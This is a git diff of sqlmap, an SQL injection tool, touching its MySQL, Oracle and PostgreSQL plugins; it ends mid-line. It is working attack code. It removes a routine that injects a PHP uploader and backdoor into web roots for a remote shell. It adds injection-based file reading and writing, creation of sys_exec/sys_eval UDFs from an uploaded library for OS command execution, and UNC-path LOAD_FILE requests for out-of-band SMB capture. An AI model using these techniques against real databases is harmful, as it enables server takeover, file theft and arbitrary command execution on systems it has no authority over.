lib.techniques.outband.stacked import stackedTest from plugins.generic.enumeration import Enumeration from plugins.generic.filesystem import Filesystem from plugins.generic.fingerprint import Fingerprint +from plugins.generic.misc import Miscellaneous from plugins.generic.takeover import Takeover -class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): +class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines MySQL methods """ def __init__(self): - self.excludeDbsList = MYSQL_SYSTEM_DBS + self.__basedir = None + self.excludeDbsList = MYSQL_SYSTEM_DBS + Enumeration.__init__(self, "MySQL") + Filesystem.__init__(self) + Takeover.__init__(self) unescaper.setUnescape(MySQLMap.unescape) @@ -125,8 +134,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): def __commentCheck(self): - logMsg = "executing MySQL comment injection fingerprint" - logger.info(logMsg) + infoMsg = "executing MySQL comment injection fingerprint" + logger.info(infoMsg) query = agent.prefixQuery(" /* NoValue */") query = agent.postfixQuery(query) @@ -139,14 +148,14 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): return None - # MySQL valid versions updated at 10/2008 + # MySQL valid versions updated on 02/2009 versions = ( (32200, 32233), # MySQL 3.22 (32300, 32359), # MySQL 3.23 (40000, 40031), # MySQL 4.0 - (40100, 40125), # MySQL 4.1 - (50000, 50074), # MySQL 5.0 - (50100, 50131), # MySQL 5.1 + (40100, 40122), # MySQL 4.1 + (50000, 50077), # MySQL 5.0 + (50100, 50132), # MySQL 5.1 (60000, 60009), # MySQL 6.0 ) @@ -186,7 +195,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): if wsOsFp: value += "%s\n" % wsOsFp - if self.banner: + if kb.data.banner: dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) if dbmsOsFp: @@ -199,19 +208,19 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): value += actVer return value - comVer = self.__commentCheck() - blank = " " * 15 - value += "active fingerprint: %s" % actVer + # TODO: comment injection fingerprint is broken, fix + comVer = self.__commentCheck() + blank = " " * 15 + value += "active fingerprint: %s" % actVer if comVer: comVer = formatDBMSfp([comVer]) value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: - # TODO: move to the XML banner file banVer = kb.bannerFp["dbmsVersion"] - if re.search("-log$", self.banner): + if re.search("-log$", kb.data.banner): banVer += ", logging enabled" banVer = formatDBMSfp([banVer]) @@ -238,15 +247,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): setDbms("MySQL %s" % kb.dbmsVersion[0]) if int(kb.dbmsVersion[0]) >= 5: - self.has_information_schema = True + kb.data.has_information_schema = True - self.getPrematureBanner("VERSION()") + self.getBanner() if not conf.extensiveFp: return True - logMsg = "testing MySQL" - logger.info(logMsg) + infoMsg = "testing MySQL" + logger.info(infoMsg) randInt = str(randomInt(1)) @@ -254,8 +263,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): result = Request.queryPage(payload) if result == True: - logMsg = "confirming MySQL" - logger.info(logMsg) + infoMsg = "confirming MySQL" + logger.info(infoMsg) payload = agent.fullPayload(" AND ISNULL(1/0)") result = Request.queryPage(payload) @@ -267,38 +276,32 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): return False # Determine if it is MySQL >= 5.0.0 - if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt) == randInt: - setDbms("MySQL 5") - self.has_information_schema = True + if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt, charsetType=2) == randInt: + kb.data.has_information_schema = True + kb.dbmsVersion = [">= 5.0.0"] - self.getPrematureBanner("VERSION()") + setDbms("MySQL 5") + + self.getBanner() if not conf.extensiveFp: - kb.dbmsVersion = [">= 5.0.0"] return True - # Check if it is MySQL >= 6.0.3 - if inject.getValue("SELECT %s FROM information_schema.PARAMETERS LIMIT 0, 1" % randInt) == randInt: - if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt: - kb.dbmsVersion = [">= 6.0.5"] - else: - kb.dbmsVersion = [">= 6.0.3", "< 6.0.5"] - - # Or if it MySQL >= 5.1.2 and < 6.0.3 - elif inject.getValue("MID(@@table_open_cache, 1, 1)"): - if inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt: - kb.dbmsVersion = [">= 5.1.7", "< 6.0.3"] - elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt) == randInt: + # Check if it is MySQL >= 5.1.2 + if inject.getValue("MID(@@table_open_cache, 1, 1)", unpack=False): + if inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: + kb.dbmsVersion = [">= 5.1.7"] + elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: kb.dbmsVersion = ["= 5.1.6"] - elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt) == randInt: + elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"] else: kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"] # Or if it is MySQL >= 5.0.0 and < 5.1.2 - elif inject.getValue("MID(@@hostname, 1, 1)"): + elif inject.getValue("MID(@@hostname, 1, 1)", unpack=False): kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"] - elif inject.getValue("SELECT 1 FROM DUAL") == "1": + elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1": kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"] elif inject.getValue("DATABASE() LIKE SCHEMA()"): kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"] @@ -307,10 +310,11 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): # Otherwise assume it is MySQL < 5.0.0 else: - setDbms("MySQL 4") kb.dbmsVersion = ["< 5.0.0"] - self.getPrematureBanner("VERSION()") + setDbms("MySQL 4") + + self.getBanner() if not conf.extensiveFp: return True @@ -329,7 +333,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): kb.dbmsVersion = ["= 4.1.0"] else: kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"] - elif inject.getValue("FOUND_ROWS()") == "0": + elif inject.getValue("FOUND_ROWS()", charsetType=1) == "0": kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"] elif inject.getValue("CONNECTION_ID()"): kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"] @@ -346,181 +350,261 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): return False - def readFile(self, rFile): - logMsg = "fetching file: '%s'" % rFile - logger.info(logMsg) + def checkDbmsOs(self, detailed=False): + if kb.os: + return - return inject.getValue("LOAD_FILE('%s')" % rFile) + infoMsg = "fingerprinting the back-end DBMS operating system" + logger.info(infoMsg) + self.createSupportTbl(self.fileTblName, self.tblField, "text") + inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) - def osShell(self): - """ - This method is used to write a PHP agent (cmd.php) on a writable - remote directory within the web server document root. - Such agent is written using the INTO OUTFILE MySQL DBMS - functionality + datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False) - @todo: * Add a web application crawling functionality to detect - all (at least most) web server directories and merge with - Google results if the target host is a publicly available - hostname or IP address; - * Extend to all DBMS using their functionalities (UDF, stored - procedures, etc) to write files on the system or directly - execute commands on the system without passing by the agent; - * Automatically detect the web server available interpreters - parsing 'Server', 'X-Powered-By' and 'X-AspNet-Version' HTTP - response headers; - * Extend the agent to other interpreters rather than only PHP: - ASP, JSP, CGI (Python, Perl, Ruby, Bash). - """ - - logMsg = "retrieving web application directories" - logger.info(logMsg) - - directories = getDirectories() - - if directories: - logMsg = "retrieved web server directories " - logMsg += "'%s'" % ", ".join(d for d in directories) - logger.info(logMsg) - - message = "in addition you can provide a list of directories " - message += "absolute path comma separated that you want sqlmap " - message += "to try to upload the agent [/var/www/test]: " - inputDirs = readInput(message, default="/var/www/test") + if datadirSubstr == "/": + kb.os = "Linux" else: - message = "please provide the web server document root [/var/www]: " - inputDocRoot = readInput(message, default="/var/www") + kb.os = "Windows" - if inputDocRoot: - kb.docRoot = inputDocRoot - else: - kb.docRoot = "/var/www" + infoMsg = "the back-end DBMS operating system is %s" % kb.os + logger.info(infoMsg) - message = "please provide a list of directories absolute path " - message += "comma separated that you want sqlmap to try to " - message += "upload the agent [/var/www/test]: " - inputDirs = readInput(message, default="/var/www/test") + if detailed == False: + self.cleanup(onlyFileTbl=True) - if inputDirs: - inputDirs = inputDirs.replace(", ", ",") - inputDirs = inputDirs.split(",") + return - for inputDir in inputDirs: - directories.add(inputDir) + self.cleanup(onlyFileTbl=True) + + + def unionReadFile(self, rFile): + infoMsg = "fetching file: '%s'" % rFile + logger.info(infoMsg) + + result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile) + + return result + + + def stackedReadFile(self, rFile): + infoMsg = "fetching file: '%s'" % rFile + logger.info(infoMsg) + + self.createSupportTbl(self.fileTblName, self.tblField, "longtext") + self.getRemoteTempPath() + + tmpFile = "%s/sqlmapfilehex%s" % (conf.tmpPath, randomStr(lowercase=True)) + + debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile + debugMsg += "into temporary file '%s'" % tmpFile + logger.debug(debugMsg) + inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile)) + + debugMsg = "loading the content of hexadecimal encoded file " + debugMsg += "'%s' into support table" % rFile + logger.debug(debugMsg) + inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) + + length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2) + + if not length.isdigit() or not len(length) or length in ( "0", "1" ): + errMsg = "unable to retrieve the content of the " + errMsg += "file '%s'" % rFile + raise sqlmapNoneDataException, errMsg + + length = int(length) + sustrLen = 1024 + + if length > sustrLen: + result = [] + + for i in range(1, length, sustrLen): + chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, sort=False, resumeValue=False, charsetType=3) + + result.append(chunk) else: - directories.add("/var/www/test") + result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3) - logMsg = "trying to upload the uploader agent" - logger.info(logMsg) + return result - directories = list(directories) - directories.sort() - uploaded = False - backdoorName = "backdoor.php" - backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName) - uploaderName = "uploader.php" - uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName)) + def unionWriteFile(self, wFile, dFile, fileType, confirm=True): + logger.debug("encoding file to its hexadecimal string value") - for directory in directories: - if uploaded: - break + fcEncodedList = self.fileEncode(wFile, "hex", True) + fcEncodedStr = fcEncodedList[0] + fcEncodedStrLen = len(fcEncodedStr) - # Upload the uploader agent - uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory) - query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName) - query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery + if kb.injPlace == "GET" and fcEncodedStrLen > 8000: + warnMsg = "the injection is on a GET parameter and the file " + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen + warnMsg += "bytes, this might cause errors in the file " + warnMsg += "writing process" + logger.warn(warnMsg) - query = agent.prefixQuery(" %s" % query) - query = agent.postfixQuery(query) + unionTest() - payload = agent.payload(newValue=query) - page = Request.queryPage(payload) + oldParamFalseCond = conf.paramFalseCond + conf.paramFalseCond = True - if kb.docRoot: - requestDir = directory.replace(kb.docRoot, "") + debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + logger.debug(debugMsg) + + sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) + unionUse(sqlQuery, direct=True, unescape=False, nullChar="''") + + conf.paramFalseCond = oldParamFalseCond + + if confirm == True: + self.askCheckWrittenFile(wFile, dFile, fileType) + + + def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): + debugMsg = "creating a support table to write the hexadecimal " + debugMsg += "encoded file to" + logger.debug(debugMsg) + + self.createSupportTbl(self.fileTblName, self.tblField, "longblob") + + logger.debug("encoding file to its hexadecimal string value") + fcEncodedList = self.fileEncode(wFile, "hex", False) + + debugMsg = "forging SQL statements to write the hexadecimal " + debugMsg += "encoded file to the support table" + logger.debug(debugMsg) + + sqlQueries = self.fileToSqlQueries(fcEncodedList) + + logger.debug("inserting the hexadecimal encoded file to the support table") + + for sqlQuery in sqlQueries: + inject.goStacked(sqlQuery) + + debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + logger.debug(debugMsg) + + # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html + inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile)) + + if confirm == True: + self.askCheckWrittenFile(wFile, dFile, fileType) + + + def udfInit(self): + self.getVersionFromBanner() + + banVer = kb.bannerFp["dbmsVersion"] + dFile = None + wFile = paths.SQLMAP_UDF_PATH + lib = "libsqlmapudf%s" % randomStr(lowercase=True) + + if kb.os == "Windows": + wFile += "/mysql/windows/lib_mysqludf_sys.dll" + libExt = "dll" + else: + wFile += "/mysql/linux/lib_mysqludf_sys.so" + libExt = "so" + + for udf in ( "sys_exec", "sys_eval" ): + if udf in self.createdUdf: + continue + + logger.info("checking if %s UDF already exist" % udf) + + query = agent.forgeCaseStatement("(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'" % (udf, udf)) + exists = inject.getValue(query, resumeValue=False, unpack=False) + + if exists == "1": + message = "%s UDF already exists, do you " % udf + message += "want to overwrite it? [y/N] " + output = readInput(message, default="N") + + if output and output in ("y", "Y"): + self.udfToCreate.add(udf) else: - requestDir = directory + self.udfToCreate.add(udf) - baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) - uploaderUrl = "%s/%s" % (baseUrl, uploaderName) - page, _ = Request.getPage(url=uploaderUrl, direct=True) + if len(self.udfToCreate) > 0: + # On Windows + if kb.os == "Windows": + # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 + if banVer >= "5.1.19": + if self.__basedir == None: + logger.info("retrieving MySQL base directory absolute path") - if "sqlmap backdoor uploader" not in page: - warnMsg = "unable to upload the uploader " - warnMsg += "agent on '%s'" % directory - logger.warn(warnMsg) + # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir + self.__basedir = inject.getValue("SELECT @@basedir") + self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/")) - continue + if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I): + kb.os = "Windows" - logMsg = "the uploader agent has been successfully uploaded " - logMsg += "on '%s'" % directory - logger.info(logMsg) + # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin + dFile = "%s/lib/plugin/%s.%s" % (self.__basedir, lib, libExt) - # Upload the backdoor through the uploader agent - multipartParams = { - "upload": "1", - "file": open(backdoorPath, "r"), - "uploadDir": directory, - } - uploaderUrl = "%s/%s" % (baseUrl, uploaderName) - page = Request.getPage(url=uploaderUrl, multipart=multipartParams) + logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir) - if "Backdoor uploaded" not in page: - warnMsg = "unable to upload the backdoor through " - warnMsg += "the uploader agent on '%s'" % directory - logger.warn(warnMsg) - - continue - - uploaded = True - - backdoorUrl = "%s/%s" % (baseUrl, backdoorName) - logMsg = "the backdoor has been successfully uploaded on " - logMsg += "'%s', go with your browser to " % directory - logMsg += "'%s' and enjoy it!" % backdoorUrl - logger.info(logMsg) - - message = "do you want to use the uploaded backdoor as a " - message += "shell to execute commands right now? [Y/n] " - shell = readInput(message, default="Y") - - if shell in ("n", "N"): - continue - - logMsg = "calling OS shell. To quit type " - logMsg += "'x' or 'q' and press ENTER" - logger.info(logMsg) - - autoCompletion(osShell=True) - - while True: - command = None - - try: - command = raw_input("$ ") - except KeyboardInterrupt: - print - errMsg = "user aborted" - logger.error(errMsg) - except EOFError: - print - errMsg = "exit" - logger.error(errMsg) - break - - if not command: - continue - - if command.lower() in ( "x", "q", "exit", "quit" ): - break - - cmdUrl = "%s?cmd=%s" % (backdoorUrl, command) - page, _ = Request.getPage(url=cmdUrl, direct=True) - output = re.search("
      (.+?)
      ", page, re.I | re.S) - - if output: - print output.group(1) + # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file + # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file else: - print "No output" + #logger.debug("retrieving MySQL data directory absolute path") + + # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir + #datadir = inject.getValue("SELECT @@datadir") + + # NOTE: specifying the relative path as './udf.dll' + # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 + datadir = "." + datadir = os.path.normpath(datadir.replace("\\", "/")) + + if re.search("[\w]\:\/", datadir, re.I): + kb.os = "Windows" + + # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, + # C:\WINDOWS\system32, @@basedir\bin or @@datadir + dFile = "%s/%s.%s" % (datadir, lib, libExt) + + # On Linux + else: + # The SO can be in either /lib, /usr/lib or one of the + # paths specified in /etc/ld.so.conf file, none of these + # paths are writable by mysql user by default + # TODO: test with plugins folder on MySQL >= 5.1.19 + dFile = "/usr/lib/%s.%s" % (lib, libExt) + + self.writeFile(wFile, dFile, "binary", False) + + for udf, retType in ( ( "sys_exec", "int" ), ( "sys_eval", "string" ) ): + if udf in self.createdUdf: + continue + + if udf in self.udfToCreate: + logger.info("creating %s UDF from the binary UDF file" % udf) + + # Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html + inject.goStacked("DROP FUNCTION %s" % udf) + inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, retType, lib, libExt)) + else: + logger.debug("keeping existing %s UDF as requested" % udf) + + self.createdUdf.add(udf) + + self.envInitialized = True + + debugMsg = "creating a support table to write commands standard " + debugMsg += "output to" + logger.debug(debugMsg) + + self.createSupportTbl(self.cmdTblName, self.tblField, "longtext") + + + def uncPathRequest(self): + if kb.stackedTest == False: + query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath) + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + + Request.queryPage(payload) + else: + inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True) diff --git a/plugins/dbms/oracle.py b/plugins/dbms/oracle.py index d1ef53c30..9898923fa 100644 --- a/plugins/dbms/oracle.py +++ b/plugins/dbms/oracle.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -44,10 +44,11 @@ from lib.request.connect import Connect as Request from plugins.generic.enumeration import Enumeration from plugins.generic.filesystem import Filesystem from plugins.generic.fingerprint import Fingerprint +from plugins.generic.misc import Miscellaneous from plugins.generic.takeover import Takeover -class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover): +class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Oracle methods """ @@ -55,7 +56,10 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover): def __init__(self): self.excludeDbsList = ORACLE_SYSTEM_DBS + Enumeration.__init__(self, "Oracle") + Filesystem.__init__(self) + Takeover.__init__(self) unescaper.setUnescape(OracleMap.unescape) @@ -124,7 +128,7 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover): if wsOsFp: value += "%s\n" % wsOsFp - if self.banner: + if kb.data.banner: dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) if dbmsOsFp: @@ -157,7 +161,7 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover): if conf.dbms in ORACLE_ALIASES: setDbms("Oracle") - self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1") + self.getBanner() if not conf.extensiveFp: return True @@ -183,13 +187,13 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover): setDbms("Oracle") - self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1") + self.getBanner() if not conf.extensiveFp: return True query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1" - version = inject.getValue(query) + version = inject.getValue(query, unpack=False) if re.search("^11", version): kb.dbmsVersion = ["11i"] @@ -229,3 +233,39 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover): logger.warn(warnMsg) return [] + + + def readFile(self, rFile): + errMsg = "File system read access not yet implemented for " + errMsg += "Oracle" + raise sqlmapUnsupportedFeatureException, errMsg + + + def writeFile(self, wFile, dFile, fileType=None, confirm=True): + errMsg = "File system write access not yet implemented for " + errMsg += "Oracle" + raise sqlmapUnsupportedFeatureException, errMsg + + + def osCmd(self): + errMsg = "Operating system command execution functionality not " + errMsg += "yet implemented for Oracle" + raise sqlmapUnsupportedFeatureException, errMsg + + + def osShell(self): + errMsg = "Operating system shell functionality not yet " + errMsg += "implemented for Oracle" + raise sqlmapUnsupportedFeatureException, errMsg + + + def osPwn(self): + errMsg = "Operating system out-of-band control functionality " + errMsg += "not yet implemented for Oracle" + raise sqlmapUnsupportedFeatureException, errMsg + + + def osSmb(self): + errMsg = "One click operating system out-of-band control " + errMsg += "functionality not yet implemented for Oracle" + raise sqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/postgresql.py b/plugins/dbms/postgresql.py index a12a2b368..4c1e7a4e7 100644 --- a/plugins/dbms/postgresql.py +++ b/plugins/dbms/postgresql.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -24,38 +24,50 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +import os import re from lib.core.agent import agent from lib.core.common import formatDBMSfp from lib.core.common import formatFingerprint from lib.core.common import getHtmlErrorFp +from lib.core.common import getRange from lib.core.common import randomInt +from lib.core.common import randomStr +from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import paths +from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.session import setDbms from lib.core.settings import PGSQL_ALIASES from lib.core.settings import PGSQL_SYSTEM_DBS from lib.core.unescaper import unescaper from lib.request import inject from lib.request.connect import Connect as Request +from lib.techniques.outband.stacked import stackedTest from plugins.generic.enumeration import Enumeration from plugins.generic.filesystem import Filesystem from plugins.generic.fingerprint import Fingerprint +from plugins.generic.misc import Miscellaneous from plugins.generic.takeover import Takeover -class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover): +class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines PostgreSQL methods """ def __init__(self): self.excludeDbsList = PGSQL_SYSTEM_DBS + Enumeration.__init__(self, "PostgreSQL") + Filesystem.__init__(self) + Takeover.__init__(self) unescaper.setUnescape(PostgreSQLMap.unescape) @@ -124,7 +136,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover): if wsOsFp: value += "%s\n" % wsOsFp - if self.banner: + if kb.data.banner: dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) if dbmsOsFp: @@ -161,13 +173,13 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover): if conf.dbms in PGSQL_ALIASES: setDbms("PostgreSQL") - self.getPrematureBanner("VERSION()") + self.getBanner() if not conf.extensiveFp: return True - logMsg = "testing PostgreSQL" - logger.info(logMsg) + infoMsg = "testing PostgreSQL" + logger.info(infoMsg) randInt = str(randomInt(1)) @@ -175,8 +187,8 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover): result = Request.queryPage(payload) if result == True: - logMsg = "confirming PostgreSQL" - logger.info(logMsg) + infoMsg = "confirming PostgreSQL" + logger.info(infoMsg) payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt)) result = Request.queryPage(payload) @@ -189,39 +201,39 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover): setDbms("PostgreSQL") - self.getPrematureBanner("VERSION()") + self.getBanner() if not conf.extensiveFp: return True - transTimeCasted = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)") in ( "1", "2" ) - transTime = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)") in ( "1", "2" ) + transTimeCasted = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False) in ( "1", "2" ) + transTime = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False) in ( "1", "2" ) if transTimeCasted and not transTime: kb.dbmsVersion = [">= 8.3.0"] elif transTime: kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"] - elif inject.getValue("GREATEST(5, 9, 1)") == "9": + elif inject.getValue("GREATEST(5, 9, 1)", unpack=False) == "9": kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"] - elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)") == "3": + elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False) == "3": kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"] - elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)"): + elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False): kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"] - elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)") == "p": + elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False) == "p": kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"] elif inject.getValue("BIT_LENGTH(1)") == "8": kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"] - elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)") == "a": + elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False) == "a": kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"] - elif inject.getValue("POW(2, 3)") == "8": + elif inject.getValue("POW(2, 3)", unpack=False) == "8": kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"] elif inject.getValue("MAX('a')") == "a": kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"] - elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)")): + elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)", unpack=False)): kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"] - elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)") == "2": + elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)", unpack=False) == "2": kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"] - elif inject.getValue("SUBSTRING('sqlmap', 1, 1)") == "s": + elif inject.getValue("SUBSTRING('sqlmap', 1, 1)", unpack=False) == "s": kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"] else: kb.dbmsVersion = ["< 6.2.0"] @@ -234,6 +246,44 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover): return False + def checkDbmsOs(self, detailed=False): + if kb.os: + return + + infoMsg = "fingerprinting the back-end DBMS operating system" + logger.info(infoMsg) + + self.createSupportTbl(self.fileTblName, self.tblField, "character(500)") + inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) + + # Windows executables should always have ' Visual C++' or ' mingw' + # patterns within the banner + osWindows = ( " Visual C++", " mingw" ) + + for osPattern in osWindows: + query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) + query += "LIKE '%" + osPattern + "%')>0" + query = agent.forgeCaseStatement(query) + + if inject.getValue(query, charsetType=1) == "1": + kb.os = "Windows" + + break + + if kb.os == None: + kb.os = "Linux" + + infoMsg = "the back-end DBMS operating system is %s" % kb.os + logger.info(infoMsg) + + if detailed == False: + self.cleanup(onlyFileTbl=True) + + return + + self.cleanup(onlyFileTbl=True) + + def forceDbmsEnum(self): if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public": conf.db = "public" @@ -243,3 +293,214 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover): warnMsg += "sqlmap is going to use 'public' schema as " warnMsg += "database name" logger.warn(warnMsg) + + + def unionReadFile(self, rFile): + errMsg = "PostgreSQL does not support file reading with UNION " + errMsg += 